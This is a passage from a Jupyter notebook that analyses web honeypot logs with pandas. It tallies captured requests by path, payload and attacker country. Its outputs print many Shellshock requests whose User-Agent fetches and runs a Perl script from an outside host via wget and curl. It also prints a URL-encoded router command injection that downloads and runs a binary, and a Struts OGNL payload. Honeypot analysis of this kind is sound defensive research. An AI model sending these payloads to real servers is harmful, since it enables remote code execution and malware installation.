        "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/kontakt.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/status.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/test HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/welcome.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/firewall.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/supply.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 65
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Shellshock attempts where a website/webserver is being used that potentially hosts Malware."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('};')]['request_raw'].apply(lambda x: x[x.find('http://'):x[x.find('http://'):].find(' ') + x.find('http://')] if x.find('http://') > 0 else 'a').unique()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 66,
       "text": [
        "array([u'http://test.music-set.net/mobile/t3.log'], dtype=object)"
       ]
      }
     ],
     "prompt_number": 66
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "Countries where shellshock attacks originated from."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('};')]['attackerCountry'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 67,
       "text": [
        "Germany    28\n",
        "dtype: int64"
       ]
      }
     ],
     "prompt_number": 67
    },
    {
     "cell_type": "heading",
     "level": 4,
     "metadata": {},
     "source": [
      "The following two sets show potential directory traversal attacks."
     ]
    },
    {
     "cell_type": "code",
     "collapsed": false,
     "input": [
      "glastopf_df[glastopf_df['request_raw'].str.contains('../')]['request_raw'].value_counts()"
     ],
     "language": "python",
     "metadata": {},
     "outputs": [
      {
       "metadata": {},
       "output_type": "pyout",
       "prompt_number": 68,
       "text": [
        "GET /tmUnblock.cgi HTTP/1.1                                     3\n",
        "GET / HTTP/1.0\\r\\nAccept: */*\\r\\nUser-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)    2\n",
        "GET / HTTP/1.1\\r\\nAccept-Encoding: gzip\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2251.0 Safari/537.36    2\n",
        "GET /vtigercrm/test/upload/vtigercrm.txt HTTP/1.1\\r\\nAccept: */*\\r\\nHost: 54.94.214.198\\r\\nUser-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.16.2.3 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2    2\n",
        "GET / HTTP/1.1\\r\\nAccept-Encoding: gzip\\r\\nHost: 54.94.214.198\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2251.0 Safari/537.36    2\n",
        "HEAD / HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: Cloud mapping experiment. Contact research@pdrlabs.net    2\n",
        "GET /cgi-bin/test.sh HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET / HTTP/1.0\\r\\nAccept: */*\\r\\nUser-Agent: netscan.gtisc.gatech.edu    1\n",
        "GET /level/16/exec/show/config HTTP/1.0                         1\n",
        "GET /cgi-sys/php5 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/formmail.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/forum.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /phppath/php HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET http://testp1.piwo.pila.pl/testproxy.php HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: pl,en-US;q=0.7,en;q=0.3\\r\\nHost: testp1.piwo.pila.pl\\r\\nProxy-Connection: Keep-Alive\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/31.0    1\n",
        "GET /cgi-bin/reboot.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/php4 HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /etc/lib/pChart2/examples/imageMap/index.php HTTP/1.1\\r\\nConnection: Keep-Alive\\r\\nHost: 54.94.128.7    1\n",
        "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "POST / HTTP/1.1\\r\\nAccept: */*\\r\\nConnection: Keep-Alive\\r\\nContent-Length: 395\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nExpect: 100-continue\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: Mozilla/5.0\\r\\n\\r\\nredirect:${%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()}    1\n",
        "GET /cgi-bin/backup.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET / HTTP/1.1\\r\\nConnection: Keep-Alive\\r\\nHost: 54.94.214.198    1\n",
        "GET /cgi-bin/printenv HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET / HTTP/1.1\\r\\nAccept: text/html, */*\\r\\nAccept-Encoding: identity\\r\\nHost: 54.94.214.198\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1    1\n",
        "GET /manager/html HTTP/1.1\\r\\nAccept: text/html, */*\\r\\nAuthorization: Basic Og==\\r\\nContent-Type: text/html\\r\\nHost: 54.94.214.198\\r\\nUser-Agent: Mozilla/3.0 (compatible; Indy Library)    1\n",
        "GET /cgi-bin/Count.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /phppath/cgi_wrapper HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET / HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: 54.94.128.7    1\n",
        "GET /cgi-bin/php5-cli HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "POST /tmUnblock.cgi HTTP/1.1\\r\\nContent-Length: 943\\r\\n\\r\\n%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2d%66%20%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%6e%74%74%70%64%20%68%74%74%70%3a%2f%2f%37%39%2e%31%38%32%2e%31%38%2e%31%32%35%3a%33%33%34%34%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%6e%74%74%70%64%2e%73%68%3b%2e%2f%2e%6e%74%74%70%64%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31    1\n",
        "GET /cgi-bin/firewall.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/welcome.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/test HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/status.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/kontakt.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /user/soapCaller.bs HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.214.198\\r\\nUser-Agent: Morfeus Fucking Scanner    1\n",
        "GET /manager/html HTTP/1.1\\r\\nAccept: text/html, */*\\r\\nAuthorization: Basic Og==\\r\\nContent-Type: text/html\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: Mozilla/3.0 (compatible; Indy Library)    1\n",
        "GET /cgi-bin/contact.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /manager/html HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us,en;q=0.5\\r\\nConnection: keep-alive\\r\\nHost: 54.94.128.7:80\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0    1\n",
        "GET /cgi-bin/index2.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/uptime.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-sys/entropysearch.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/test-cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/counter.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
        "GET /cgi-bin/index.cgi HTTP/1.1\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate\\r\\nAccept-Language: en-us\\r\\nConnection: Close\\r\\nHost: 54.94.128.7\\r\\nUser-Agent: () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"killall -9 perl;wget http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;curl -O /tmp/t3.log http://test.music-set.net/mobile/t3.log;perl /tmp/t3.log;fetch http://test.music-set.net/mobile/t3.log -O /tmp/t3.log;perl /tmp/t3.log;rm -rf /tmp/t3.log*\");'    1\n",
